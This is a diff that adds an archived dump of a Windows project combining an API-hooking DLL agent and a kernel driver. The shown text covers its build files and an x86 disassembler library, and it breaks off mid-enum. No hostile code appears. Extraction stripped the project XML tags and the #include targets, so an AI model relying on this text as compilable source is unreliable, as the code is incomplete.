diff --git a/archive/AlSch092/EasyHandles.txt b/archive/AlSch092/EasyHandles.txt
new file mode 100644
index 00000000..e22a7a3f
--- /dev/null
+++ b/archive/AlSch092/EasyHandles.txt
@@ -0,0 +1,13062 @@
+Project Path: arc_AlSch092_EasyHandles_n6n3nbg_
+
+Source Tree:
+
+```txt
+arc_AlSch092_EasyHandles_n6n3nbg_
+├── EasyHandlesDLL
+│ ├── EasyHandlesAgent.vcxproj
+│ ├── EasyHandlesAgent.vcxproj.filters
+│ ├── disasm-lib
+│ │ ├── cpu.c
+│ │ ├── cpu.h
+│ │ ├── disasm.c
+│ │ ├── disasm.h
+│ │ ├── disasm_x86.c
+│ │ ├── disasm_x86.h
+│ │ ├── disasm_x86_tables.h
+│ │ ├── mhook.cpp
+│ │ ├── mhook.h
+│ │ ├── misc.c
+│ │ └── misc.h
+│ └── dllMain.cpp
+├── EasyHandlesDrv
+│ ├── Driver.c
+│ ├── EasyHandles.inf
+│ ├── EasyHandles.vcxproj
+│ └── EasyHandles.vcxproj.filters
+├── LICENSE
+└── README.md
+
+```
+
+`EasyHandlesDLL/EasyHandlesAgent.vcxproj`:
+
+```vcxproj
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 17.0
+ Win32Proj
+ {c78e65ea-4dc8-4b44-83e8-6fe5f279dac7}
+ EasyHandlesAgent
+ 10.0
+
+
+
+ DynamicLibrary
+ true
+ v143
+ Unicode
+
+
+ DynamicLibrary
+ false
+ v143
+ true
+ Unicode
+
+
+ DynamicLibrary
+ true
+ v143
+ Unicode
+
+
+ DynamicLibrary
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;EASYHANDLESAGENT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
+ true
+ NotUsing
+
+
+
+
+ Windows
+ true
+ false
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;EASYHANDLESAGENT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
+ true
+ NotUsing
+
+
+
+
+ Windows
+ true
+ false
+
+
+
+
+ Level3
+ true
+ _DEBUG;EASYHANDLESAGENT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
+ true
+ NotUsing
+
+
+
+
+ Windows
+ true
+ false
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;EASYHANDLESAGENT_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
+ true
+ NotUsing
+
+
+
+
+ Windows
+ true
+ false
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+```
+
+`EasyHandlesDLL/EasyHandlesAgent.vcxproj.filters`:
+
+```filters
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+ {b41a87fe-2f13-49af-be16-ccd480065d88}
+
+
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+
+
+ Source Files
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+ disasm-lib
+
+
+
+```
+
+`EasyHandlesDLL/disasm-lib/cpu.c`:
+
+```c
+// Copyright (C) 2003, Matt Conover (mconover@gmail.com)
+#include "cpu.h"
+#include
+
+// NOTE: this assumes default scenarios (i.e., we assume CS/DS/ES/SS and flat
+// and all have a base of 0 and limit of 0xffffffff, we don't try to verify
+// that in the GDT)
+//
+// TODO: use inline assembly to get selector for segment
+// Segment = x86 segment register (SEG_ES = 0, SEG_CS = 1, ...)
+BYTE *GetAbsoluteAddressFromSegment(BYTE Segment, DWORD Offset)
+{
+ switch (Segment)
+ {
+ // Windows uses a flat address space (except FS for x86 and GS for x64)
+ case 0: // SEG_ES
+ case 1: // SEG_CS
+ case 2: // SEG_SS
+ case 3: // SEG_DS
+ return (BYTE *)(DWORD_PTR)Offset;
+ case 4: // SEG_FS
+ case 5: // SEG_GS
+ return (BYTE *)(DWORD_PTR)Offset;
+ // Note: we're really supposed to do this, but get_teb is not implemented
+ // in this bastardized version of the disassembler.
+ // return (BYTE *)get_teb() + Offset;
+ default:
+ assert(0);
+ return (BYTE *)(DWORD_PTR)Offset;
+ }
+}
+
+// This is an GDT/LDT selector (pGDT+Selector)
+BYTE *GetAbsoluteAddressFromSelector(WORD Selector, DWORD Offset)
+{
+ DESCRIPTOR_ENTRY Entry;
+ GATE_ENTRY *Gate;
+ ULONG_PTR Base;
+
+ assert(Selector < 0x10000);
+ if (!GetThreadSelectorEntry(GetCurrentThread(), Selector, (LDT_ENTRY *)&Entry)) return NULL;
+ if (!Entry.Present) return NULL;
+ if (Entry.System)
+ {
+ Base = 0;
+#ifdef _WIN64
+ Base |= (ULONG_PTR)Entry.HighOffset64 << 32;
+#endif
+ Base |= Entry.BaseHi << 24;
+ Base |= Entry.BaseMid << 16;
+ Base |= Entry.BaseLow;
+ }
+ else
+ {
+ switch (Entry.Type)
+ {
+ case 1: // 16-bit TSS (available)
+ case 2: // LDT
+ case 3: // 16-bit TSS (busy)
+ case 9: // 32-bit TSS (available)
+ case 11: // 32-bit TSS (busy)
+ Base = 0;
+#ifdef _WIN64
+ Base |= (ULONG_PTR)Entry.HighOffset64 << 32;
+#endif
+ Base |= Entry.BaseHi << 24;
+ Base |= Entry.BaseMid << 16;
+ Base |= Entry.BaseLow;
+ break;
+
+ case 4: // 16-bit call gate
+ case 5: // task gate
+ case 6: // 16-bit interrupt gate
+ case 7: // 16-bit task gate
+ case 12: // 32-bit call gate
+ case 14: // 32-bit interrupt gate
+ case 15: // 32-bit trap gate
+ Gate = (GATE_ENTRY *)&Entry;
+#ifdef _WIN64
+ Base = ((ULONG_PTR)Gate->HighOffset64 << 32) | (Gate->HighOffset << 16) | Gate->LowOffset;
+#else
+ Base = (Gate->HighOffset << 16) | Gate->LowOffset;
+#endif
+ assert(!Offset); Offset = 0;
+ break;
+ default:
+ assert(0);
+ return NULL;
+ }
+ }
+ return (BYTE *)Base + Offset;
+}
+
+
+```
+
+`EasyHandlesDLL/disasm-lib/cpu.h`:
+
+```h
+// Copyright (C) 2003, Matt Conover (mconover@gmail.com)
+#ifndef CPU_H
+#define CPU_H
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+//#pragma pack(push,1)
+
+#include
+#include "misc.h"
+
+////////////////////////////////////////////////////////
+// System descriptors
+////////////////////////////////////////////////////////
+
+#define GDT_NULL 0
+#define GDT_R0_CODE 0x08
+#define GDT_R0_DATA 0x10
+#define GDT_R3_CODE 0x18
+#define GDT_R3_DATA 0x20
+#define GDT_TSS 0x28
+#define GDT_PCR 0x30
+#define GDT_R3_TEB 0x38
+#define GDT_VDM 0x40
+#define GDT_LDT 0x48
+#define GDT_DOUBLEFAULT_TSS 0x50
+#define GDT_NMI_TSS 0x58
+
+// 16-bit GDT entries:
+// TODO: #define GDT_ABIOS_UNKNOWN 0x60 (22F30-32F2F)
+#define GDT_ABIOS_VIDEO 0x68
+#define GDT_ABIOS_GDT 0x70 // descriptor describing ABIOS GDT itself
+#define GDT_ABIOS_NTOS 0x78 // first 64K of NTOSKRNL
+#define GDT_ABIOS_CDA 0xE8 // common data area
+#define GDT_ABIOS_CODE 0xF0 // KiI386AbiosCall
+#define GDT_ABIOS_STACK 0xF8
+
+#define SELECTOR_RPL_MASK 0x03 // bits 0-1
+#define SELECTOR_LDT 0x04 // bit 2
+
+// for data selectors
+#define DATA_ACCESS_MASK (1<<0)
+#define DATA_WRITE_ENABLE_MASK (1<<1)
+#define DATA_EXPAND_DOWN_MASK (1<<2)
+
+// for code selectors
+#define CODE_ACCESS_MASK (1<<0)
+#define CODE_READ_MASK (1<<1)
+#define CODE_CONFORMING_MASK (1<<2)
+#define CODE_FLAG (1<<3)
+
+#define TASK_GATE 5
+#define INTERRUPT_GATE 6
+#define TRAP_GATE 7
+
+typedef struct _IDT_ENTRY
+{
+ USHORT LowOffset;
+ USHORT Selector;
+ UCHAR Ignored : 5;
+ UCHAR Zero : 3;
+ UCHAR Type : 3;
+ UCHAR Is32Bit : 1;
+ UCHAR Ignored2 : 1;
+ UCHAR DPL : 2;
+ UCHAR Present : 1;
+ USHORT HighOffset;
+#ifdef _WIN64
+ ULONG HighOffset64;
+ ULONG Reserved;
+#endif
+} IDT_ENTRY, TRAP_GATE_ENTRY;
+
+typedef struct _CALL_GATE_ENTRY
+{
+ USHORT LowOffset;
+ USHORT Selector;
+ UCHAR ParameterCount: 4;
+ UCHAR Ignored : 3;
+ UCHAR Type : 5;
+ UCHAR DPL : 2;
+ UCHAR Present : 1;
+ USHORT HighOffset;
+#ifdef _WIN64
+ ULONG HighOffset64;
+ ULONG Reserved;
+#endif
+} CALL_GATE_ENTRY;
+
+typedef struct _TASK_GATE_ENTRY
+{
+ USHORT Ignored;
+ USHORT Selector;
+ UCHAR Ignored2 : 5;
+ UCHAR Zero : 3;
+ UCHAR Type : 5;
+ UCHAR DPL : 2;
+ UCHAR Present : 1;
+ USHORT Ignored3;
+} TASK_GATE_ENTRY;
+
+typedef struct _DESCRIPTOR_ENTRY
+{
+ USHORT LimitLow;
+ USHORT BaseLow;
+ UCHAR BaseMid;
+ UCHAR Type : 4; // 10EWA (code), E=ExpandDown, W=Writable, A=Accessed
+ // 11CRA (data), C=Conforming, R=Readable, A=Accessed
+ UCHAR System : 1; // if 1 then it is a gate or LDT
+ UCHAR DPL : 2; // descriptor privilege level;
+ // for data selectors, MAX(CPL, RPL) must be <= DPL to access (or else GP# fault)
+ // for non-conforming code selectors (without callgate), MAX(CPL, RPL) must be <= DPL to access (or else GP# fault)
+ // for conforming code selectors, MAX(CPL, RPL) must be >= DPL (i.e., CPL 0-2 cannot access if DPL is 3)
+ // for non-conforming code selectors (with call gate), DPL indicates lowest privilege allowed to access gate
+ UCHAR Present : 1;
+ UCHAR LimitHigh : 4;
+ UCHAR Available: 1; // aka AVL
+ UCHAR Reserved : 1;
+ UCHAR Is32Bit : 1; // aka B flag
+ UCHAR Granularity : 1; // aka G flag
+ UCHAR BaseHi : 8;
+#ifdef _WIN64
+ ULONG HighOffset64;
+ ULONG Reserved2;
+#endif
+} DESCRIPTOR_ENTRY;
+
+typedef struct _GATE_ENTRY
+{
+ USHORT LowOffset;
+ UCHAR Skip;
+ UCHAR Type : 5;
+ UCHAR DPL : 2;
+ UCHAR Present : 1;
+ USHORT HighOffset;
+#ifdef _WIN64
+ ULONG HighOffset64;
+ ULONG Reserved;
+#endif
+} GATE_ENTRY;
+
+// TODO: update for X64
+typedef struct _PTE_ENTRY
+{
+ ULONG Present : 1;
+ ULONG Write : 1;
+ ULONG Owner : 1; // E.g., user mode or supervisor mode
+ ULONG WriteThrough : 1;
+ ULONG CacheDisable : 1;
+ ULONG Accessed : 1;
+ ULONG Dirty : 1;
+ ULONG PAT : 1;
+ ULONG Global : 1;
+ ULONG CopyOnWrite : 1;
+ ULONG Prototype : 1;
+ ULONG Transition : 1;
+ ULONG Address : 20;
+} PTE_ENTRY;
+
+// TODO: update for X64
+typedef struct _PDE_ENTRY
+{
+ ULONG Present : 1;
+ ULONG Write : 1;
+ ULONG Owner : 1;
+ ULONG WriteThrough : 1;
+ ULONG CacheDisable : 1;
+ ULONG Accessed : 1;
+ ULONG Reserved1 : 1;
+ ULONG PageSize : 1;
+ ULONG Global : 1;
+ ULONG Reserved : 3;
+ ULONG Address : 20;
+} PDE_ENTRY;
+
+// TODO: update for X64
+typedef struct _IO_ACCESS_MAP
+{
+ UCHAR DirectionMap[32];
+ UCHAR IoMap[8196];
+} IO_ACCESS_MAP;
+
+#define MIN_TSS_SIZE FIELD_OFFSET(TSS_ENTRY, IoMaps)
+// TODO: update for X64
+typedef struct _TSS_ENTRY
+{
+ USHORT Backlink;
+ USHORT Reserved0;
+ ULONG Esp0;
+ USHORT Ss0;
+ USHORT Reserved1;
+ ULONG NotUsed1[4];
+ ULONG CR3;
+ ULONG Eip;
+ ULONG NotUsed2[9];
+ USHORT Es;
+ USHORT Reserved2;
+ USHORT Cs;
+ USHORT Reserved3;
+ USHORT Ss;
+ USHORT Reserved4;
+ USHORT Ds;
+ USHORT Reserved5;
+ USHORT Fs;
+ USHORT Reserved6;
+ USHORT Gs;
+ USHORT Reserved7;
+ USHORT LDT;
+ USHORT Reserved8;
+ USHORT Flags;
+ USHORT IoMapBase;
+ IO_ACCESS_MAP IoMaps[1];
+ UCHAR IntDirectionMap[32];
+} TSS_ENTRY;
+
+// TODO: update for X64
+typedef struct _TSS16_ENTRY
+{
+ USHORT Backlink;
+ USHORT Sp0;
+ USHORT Ss0;
+ USHORT Sp1;
+ USHORT Ss1;
+ USHORT Sp2;
+ USHORT Ss3;
+ USHORT Ip;
+ USHORT Flags;
+ USHORT Ax;
+ USHORT Cx;
+ USHORT Dx;
+ USHORT Bx;
+ USHORT Sp;
+ USHORT Bp;
+ USHORT Si;
+ USHORT Di;
+ USHORT Es;
+ USHORT Cs;
+ USHORT Ss;
+ USHORT Ds;
+ USHORT LDT;
+} TSS16_ENTRY;
+
+// TODO: update for X64
+typedef struct _GDT_ENTRY
+{
+ USHORT LimitLow;
+ USHORT BaseLow;
+ union {
+ struct {
+ UCHAR BaseMid;
+ UCHAR Flags1;
+ UCHAR Flags2;
+ UCHAR BaseHi;
+ } Bytes;
+ struct {
+ ULONG BaseMid : 8;
+ ULONG Type : 5;
+ ULONG Dpl : 2;
+ ULONG Pres : 1;
+ ULONG LimitHi : 4;
+ ULONG Sys : 1;
+ ULONG Reserved_0 : 1;
+ ULONG Default_Big : 1;
+ ULONG Granularity : 1;
+ ULONG BaseHi : 8;
+ } Bits;
+ } HighWord;
+} GDT_ENTRY;
+
+BYTE *GetAbsoluteAddressFromSegment(BYTE Segment, DWORD Offset);
+BYTE *GetAbsoluteAddressFromSelector(WORD Selector, DWORD Offset);
+
+#pragma pack(pop)
+#ifdef __cplusplus
+}
+#endif
+#endif // CPU_H
+```
+
+`EasyHandlesDLL/disasm-lib/disasm.c`:
+
+```c
+// Copyright (C) 2004, Matt Conover (mconover@gmail.com)
+#undef NDEBUG
+#include
+#include
+#include "disasm.h"
+
+#ifdef NO_SANITY_CHECKS
+#define NDEBUG
+#undef assert
+#define assert(x)
+#endif
+
+//////////////////////////////////////////////////////////////////////
+// Global variables
+//////////////////////////////////////////////////////////////////////
+
+ARCHITECTURE_FORMAT SupportedArchitectures[] =
+{
+ { ARCH_X86, &X86 },
+ { ARCH_X86_16, &X86 },
+ { ARCH_X64, &X86 },
+ { ARCH_UNKNOWN, NULL }
+};
+
+typedef struct _DISASM_ARG_INFO
+{
+ INSTRUCTION *MatchedInstruction;
+ BOOL MatchPrefix;
+ U8 *Opcode;
+ U32 OpcodeLength;
+ INSTRUCTION_TYPE InstructionType;
+ U32 Count;
+} DISASM_ARG_INFO;
+
+//////////////////////////////////////////////////////////////////////
+// Function prototypes
+//////////////////////////////////////////////////////////////////////
+
+BOOL InitInstruction(INSTRUCTION *Instruction, DISASSEMBLER *Disassembler);
+struct _ARCHITECTURE_FORMAT *GetArchitectureFormat(ARCHITECTURE_TYPE Type);
+
+//////////////////////////////////////////////////////////////////////
+// Disassembler setup
+//////////////////////////////////////////////////////////////////////
+
+BOOL InitDisassembler(DISASSEMBLER *Disassembler, ARCHITECTURE_TYPE Architecture)
+{
+ ARCHITECTURE_FORMAT *ArchFormat;
+
+ memset(Disassembler, 0, sizeof(DISASSEMBLER));
+ Disassembler->Initialized = DISASSEMBLER_INITIALIZED;
+
+ ArchFormat = GetArchitectureFormat(Architecture);
+ if (!ArchFormat) { assert(0); return FALSE; }
+ Disassembler->ArchType = ArchFormat->Type;
+ Disassembler->Functions = ArchFormat->Functions;
+ return TRUE;
+}
+
+void CloseDisassembler(DISASSEMBLER *Disassembler)
+{
+ memset(Disassembler, 0, sizeof(DISASSEMBLER));
+}
+
+//////////////////////////////////////////////////////////////////////
+// Instruction setup
+//////////////////////////////////////////////////////////////////////
+
+BOOL InitInstruction(INSTRUCTION *Instruction, DISASSEMBLER *Disassembler)
+{
+ memset(Instruction, 0, sizeof(INSTRUCTION));
+ Instruction->Initialized = INSTRUCTION_INITIALIZED;
+ Instruction->Disassembler = Disassembler;
+ memset(Instruction->String, ' ', MAX_OPCODE_DESCRIPTION-1);
+ Instruction->String[MAX_OPCODE_DESCRIPTION-1] = '\0';
+ return TRUE;
+}
+
+// If Decode = FALSE, only the following fields are valid:
+// Instruction->Length, Instruction->Address, Instruction->Prefixes, Instruction->PrefixCount,
+// Instruction->OpcodeBytes, Instruction->Instruction->OpcodeLength, Instruction->Groups,
+// Instruction->Type, Instruction->OperandCount
+//
+// If Disassemble = TRUE, then Instruction->String is valid (also requires Decode = TRUE)
+//
+// WARNING: This will overwrite the previously obtained instruction
+INSTRUCTION *GetInstruction(DISASSEMBLER *Disassembler, U64 VirtualAddress, U8 *Address, U32 Flags)
+{
+ if (Disassembler->Initialized != DISASSEMBLER_INITIALIZED) { assert(0); return NULL; }
+ assert(Address);
+ InitInstruction(&Disassembler->Instruction, Disassembler);
+ Disassembler->Instruction.Address = Address;
+ Disassembler->Instruction.VirtualAddressDelta = VirtualAddress - (U64)Address;
+ if (!Disassembler->Functions->GetInstruction(&Disassembler->Instruction, Address, Flags))
+ {
+ assert(Disassembler->Instruction.Address == Address);
+ assert(Disassembler->Instruction.Length < MAX_INSTRUCTION_LENGTH);
+
+ // Save the address that failed, in case the lower-level disassembler didn't
+ Disassembler->Instruction.Address = Address;
+ Disassembler->Instruction.ErrorOccurred = TRUE;
+ return NULL;
+ }
+ return &Disassembler->Instruction;
+}
+
+///////////////////////////////////////////////////////////////////////////
+// Miscellaneous
+///////////////////////////////////////////////////////////////////////////
+
+static ARCHITECTURE_FORMAT *GetArchitectureFormat(ARCHITECTURE_TYPE Type)
+{
+ ARCHITECTURE_FORMAT *Format;
+ for (Format = SupportedArchitectures; Format->Type != ARCH_UNKNOWN; Format++)
+ {
+ if (Format->Type == Type) return Format;
+ }
+
+ assert(0);
+ return NULL;
+}
+
+
+```
+
+`EasyHandlesDLL/disasm-lib/disasm.h`:
+
+```h
+// Copyright (C) 2004, Matt Conover (mconover@gmail.com)
+//
+// WARNING:
+// I wouldn't recommend changing any flags like OP_*, ITYPE_*, or *_MASK
+// aside from those marked as UNUSED. This is because the flags parts of
+// the flags are architecture independent and other are left to specific
+// architectures to define, so unless you understand the relationships
+// between them, I would leave them as is.
+
+#ifndef DISASM_H
+#define DISASM_H
+#ifdef __cplusplus
+extern "C" {
+#endif
+#include
+#include
+#include "misc.h"
+
+typedef signed char S8;
+typedef unsigned char U8;
+typedef signed short S16;
+typedef unsigned short U16;
+typedef signed long S32;
+typedef unsigned long U32;
+typedef LONG64 S64;
+typedef ULONG64 U64;
+
+#ifdef SPEEDY
+// On Visual Studio 6, making the internal functions inline makes compiling take forever
+#define INTERNAL static _inline
+#define INLINE _inline
+#else
+#define INTERNAL static
+#define INLINE
+#endif
+
+#define VALID_INSTRUCTION(i) ((i) && !((i)->ErrorOccurred))
+#define NEXT_INSTRUCTION(i) ((i)->Address + (i)->Length)
+#define DISASM_ARCH_TYPE(dis) ((dis)->ArchType)
+#define INS_ARCH_TYPE(ins) DISASM_ARCH_TYPE((ins)->Disassembler)
+
+// NOTE: these should be as big set to the maximum of the supported architectures
+#define MAX_PREFIX_LENGTH 15
+#define MAX_OPERAND_COUNT 3
+#define MAX_INSTRUCTION_LENGTH 25
+#define MAX_OPCODE_LENGTH 3
+#define MAX_OPCODE_DESCRIPTION 256
+
+/////////////////////////////////////////////////////////////////////
+// Code branch
+/////////////////////////////////////////////////////////////////////
+
+#define MAX_CODE_REFERENCE_COUNT 3
+
+typedef struct _CODE_BRANCH
+{
+ U64 Addresses[MAX_CODE_REFERENCE_COUNT]; // NULL if multiple to addresses
+ U32 Count;
+ U8 IsLoop : 1;
+ U8 IsCall : 1; // branch if false
+ U8 IsIndirect : 1; // call/jmp [Address]
+ U8 AddressOffset: 5;
+ struct _INSTRUCTION_OPERAND *Operand; // the operand containg the address
+} CODE_BRANCH;
+
+/////////////////////////////////////////////////////////////////////
+// Data references
+/////////////////////////////////////////////////////////////////////
+
+#define MAX_DATA_REFERENCE_COUNT 3
+
+typedef struct _DATA_REFERENCE
+{
+ U64 Addresses[MAX_DATA_REFERENCE_COUNT]; // NULL if multiple to addresses
+ U32 Count;
+ ULONG_PTR DataSize;
+ struct _INSTRUCTION_OPERAND *Operand; // the operand containg the address
+} DATA_REFERENCE;
+
+////////////////////////////////////////////////////////////////////
+// Instruction
+/////////////////////////////////////////////////////////////////////
+
+//
+// Instruction types (bits 0-7)
+// Instruction groups (bits 8-26)
+//
+#define ITYPE_EXEC_OFFSET (1<<8)
+#define ITYPE_ARITH_OFFSET (1<<9)
+#define ITYPE_LOGIC_OFFSET (1<<10)
+#define ITYPE_STACK_OFFSET (1<<11)
+#define ITYPE_TESTCOND_OFFSET (1<<12)
+#define ITYPE_LOAD_OFFSET (1<<13)
+#define ITYPE_ARRAY_OFFSET (1<<14)
+#define ITYPE_BIT_OFFSET (1<<15)
+#define ITYPE_FLAG_OFFSET (1<<16)
+#define ITYPE_FPU_OFFSET (1<<17)
+#define ITYPE_TRAPS_OFFSET (1<<18)
+#define ITYPE_SYSTEM_OFFSET (1<<19)
+#define ITYPE_OTHER_OFFSET (1<<20)
+#define ITYPE_UNUSED1_OFFSET (1<<21)
+#define ITYPE_UNUSED2_OFFSET (1<<22)
+#define ITYPE_UNUSED3_OFFSET (1<<23)
+#define ITYPE_UNUSED4_OFFSET (1<<24)
+#define ITYPE_UNUSED5_OFFSET (1<<25)
+#define ITYPE_UNUSED6_OFFSET (1<<26)
+#define ITYPE_EXT_UNUSED1 (1<<27)
+#define ITYPE_EXT_UNUSED2 (1<<28)
+#define ITYPE_EXT_UNUSED3 (1<<29)
+#define ITYPE_EXT_UNUSED4 (1<<30)
+#define ITYPE_EXT_UNUSED5 (1<<31)
+
+//
+// X86-specific flags (bits 27-31)
+//
+
+#define ITYPE_EXT_64 ITYPE_EXT_UNUSED1 // Use index 1 if in 64-bit mode and 0 otherwise
+#define ITYPE_EXT_MODRM ITYPE_EXT_UNUSED2 // ModRM byte may extend the opcode
+#define ITYPE_EXT_SUFFIX ITYPE_EXT_UNUSED3 // byte after ModRM/SIB/displacement is the third opcode
+#define ITYPE_EXT_PREFIX ITYPE_EXT_UNUSED4 // prefix
+#define ITYPE_EXT_FPU ITYPE_EXT_UNUSED5 // FPU instructions require special handling
+
+#define ITYPE_3DNOW_OFFSET ITYPE_UNUSED1_OFFSET
+#define ITYPE_MMX_OFFSET ITYPE_UNUSED2_OFFSET
+#define ITYPE_SSE_OFFSET ITYPE_UNUSED3_OFFSET
+#define ITYPE_SSE2_OFFSET ITYPE_UNUSED4_OFFSET
+#define ITYPE_SSE3_OFFSET ITYPE_UNUSED5_OFFSET
+
+//
+// Instruction types
+//
+
+#define ITYPE_TYPE_MASK 0x7FFFFFFF
+#define ITYPE_GROUP_MASK 0x7FFFFF00
+
+typedef enum _INSTRUCTION_TYPE
+{
+ // ITYPE_EXEC group
+ ITYPE_EXEC = ITYPE_EXEC_OFFSET,
+ ITYPE_BRANCH,
+ ITYPE_BRANCHCC, // conditional (not necessarily just flags)
+ ITYPE_CALL,
+ ITYPE_CALLCC, // conditional (not necessarily just flags)
+ ITYPE_RET,
+ ITYPE_LOOPCC,
+
+ // ITYPE_ARITH group
+ ITYPE_ARITH = ITYPE_ARITH_OFFSET,
+ ITYPE_XCHGADD,
+ ITYPE_ADD,
+ ITYPE_SUB,
+ ITYPE_MUL,
+ ITYPE_DIV,
+ ITYPE_INC,
+ ITYPE_DEC,
+ ITYPE_SHL,
+ ITYPE_SHR,
+ ITYPE_ROL,
+ ITYPE_ROR,
+
+ // ITYPE_LOGIC group
+ ITYPE_LOGIC=ITYPE_LOGIC_OFFSET,
+ ITYPE_AND,
+ ITYPE_OR,
+ ITYPE_XOR,
+ ITYPE_NOT,
+ ITYPE_NEG,
+
+ // ITYPE_STACK group
+ ITYPE_STACK=ITYPE_STACK_OFFSET,
+ ITYPE_PUSH,
+ ITYPE_POP,
+ ITYPE_PUSHA,
+ ITYPE_POPA,
+ ITYPE_PUSHF,
+ ITYPE_POPF,
+ ITYPE_ENTER,
+ ITYPE_LEAVE,
+
+ // ITYPE_TESTCOND group
+ ITYPE_TESTCOND=ITYPE_TESTCOND_OFFSET,
+ ITYPE_TEST,
+ ITYPE_CMP,
+
+ // ITYPE_LOAD group
+ ITYPE_LOAD=ITYPE_LOAD_OFFSET,
+ ITYPE_MOV,
+ ITYPE_MOVCC, // conditional
+ ITYPE_LEA,
+ ITYPE_XCHG,
+ ITYPE_XCHGCC, // conditional
+
+ // ITYPE_ARRAY group
+ ITYPE_ARRAY=ITYPE_ARRAY_OFFSET,
+ ITYPE_STRCMP,
+ ITYPE_STRLOAD,
+ ITYPE_STRMOV,
+ ITYPE_STRSTOR,
+ ITYPE_XLAT,
+
+ // ITYPE_BIT group
+ ITYPE_BIT=ITYPE_BIT_OFFSET,
+ ITYPE_BITTEST,
+ ITYPE_BITSET,
+ ITYPE_BITCLR,
+
+ // ITYPE_FLAG group
+ // PF = parify flag
+ // ZF = zero flag
+ // OF = overflow flag
+ // DF = direction flag
+ // SF = sign flag
+ ITYPE_FLAG=ITYPE_FLAG_OFFSET,
+ // clear
+ ITYPE_CLEARCF,
+ ITYPE_CLEARZF,
+ ITYPE_CLEAROF,
+ ITYPE_CLEARDF,
+ ITYPE_CLEARSF,
+ ITYPE_CLEARPF,
+ // set
+ ITYPE_SETCF,
+ ITYPE_SETZF,
+ ITYPE_SETOF,
+ ITYPE_SETDF,
+ ITYPE_SETSF,
+ ITYPE_SETPF,
+ // toggle
+ ITYPE_TOGCF,
+ ITYPE_TOGZF,
+ ITYPE_TOGOF,
+ ITYPE_TOGDF,
+ ITYPE_TOGSF,
+ ITYPE_TOGPF,
+
+ // ITYPE_FPU group
+ ITYPE_FPU=ITYPE_FPU_OFFSET,
+ ITYPE_FADD,
+ ITYPE_FSUB,
+ ITYPE_FMUL,
+ ITYPE_FDIV,
+ ITYPE_FCOMP,
+ ITYPE_FEXCH,
+ ITYPE_FLOAD,
+ ITYPE_FLOADENV,
+ ITYPE_FSTORE,
+ ITYPE_FSTOREENV,
+ ITYPE_FSAVE,
+ ITYPE_FRESTORE,
+ ITYPE_FMOVCC,
+
+ ITYPE_UNUSED1=ITYPE_UNUSED1_OFFSET,
+ ITYPE_UNUSED2=ITYPE_UNUSED2_OFFSET,
+ ITYPE_UNUSED3=ITYPE_UNUSED3_OFFSET,
+
+ // ITYPE_MMX group
+ ITYPE_MMX=ITYPE_MMX_OFFSET,
+ ITYPE_MMX_MOV,
+ ITYPE_MMX_ADD,
+ ITYPE_MMX_SUB,
+ ITYPE_MMX_MUL,
+ ITYPE_MMX_DIV,
+ ITYPE_MMX_AND,
+ ITYPE_MMX_OR,
+ ITYPE_MMX_XOR,
+ ITYPE_MMX_CMP,
+
+ // ITYPE_SSE group
+ ITYPE_SSE=ITYPE_SSE_OFFSET,
+ ITYPE_SSE_MOV,
+ ITYPE_SSE_ADD,
+ ITYPE_SSE_SUB,
+ ITYPE_SSE_MUL,
+ ITYPE_SSE_DIV,
+ ITYPE_SSE_AND,
+ ITYPE_SSE_OR,
+ ITYPE_SSE_XOR,
+ ITYPE_SSE_CMP,
+
+ // ITYPE_SSE2 group
+ ITYPE_SSE2=ITYPE_SSE2_OFFSET,
+ ITYPE_SSE2_MOV,
+ ITYPE_SSE2_ADD,
+ ITYPE_SSE2_SUB,
+ ITYPE_SSE2_MUL,
+ ITYPE_SSE2_DIV,
+ ITYPE_SSE2_AND,
+ ITYPE_SSE2_OR,
+ ITYPE_SSE2_XOR,
+ ITYPE_SSE2_CMP,
+
+ // ITYPE_SSE3 group
+ ITYPE_SSE3=ITYPE_SSE3_OFFSET,
+ ITYPE_SSE3_MOV,
+ ITYPE_SSE3_ADD,
+ ITYPE_SSE3_SUB,
+ ITYPE_SSE3_MUL,
+ ITYPE_SSE3_DIV,
+ ITYPE_SSE3_AND,
+ ITYPE_SSE3_OR,
+ ITYPE_SSE3_XOR,
+ ITYPE_SSE3_CMP,
+
+ // ITYPE_3DNOW group
+ ITYPE_3DNOW=ITYPE_3DNOW_OFFSET,
+ ITYPE_3DNOW_ADD,
+ ITYPE_3DNOW_SUB,
+ ITYPE_3DNOW_MUL,
+ ITYPE_3DNOW_DIV,
+ ITYPE_3DNOW_CMP,
+ ITYPE_3DNOW_XCHG,
+
+ // ITYPE_TRAP
+ ITYPE_TRAPS=ITYPE_TRAPS_OFFSET,
+ ITYPE_TRAP, // generate trap
+ ITYPE_TRAPCC, // conditional trap gen
+ ITYPE_TRAPRET, // return from trap
+ ITYPE_BOUNDS, // gen bounds trap
+ ITYPE_DEBUG, // gen breakpoint trap
+ ITYPE_TRACE, // gen single step trap
+ ITYPE_INVALID, // gen invalid instruction
+ ITYPE_OFLOW, // gen overflow trap
+
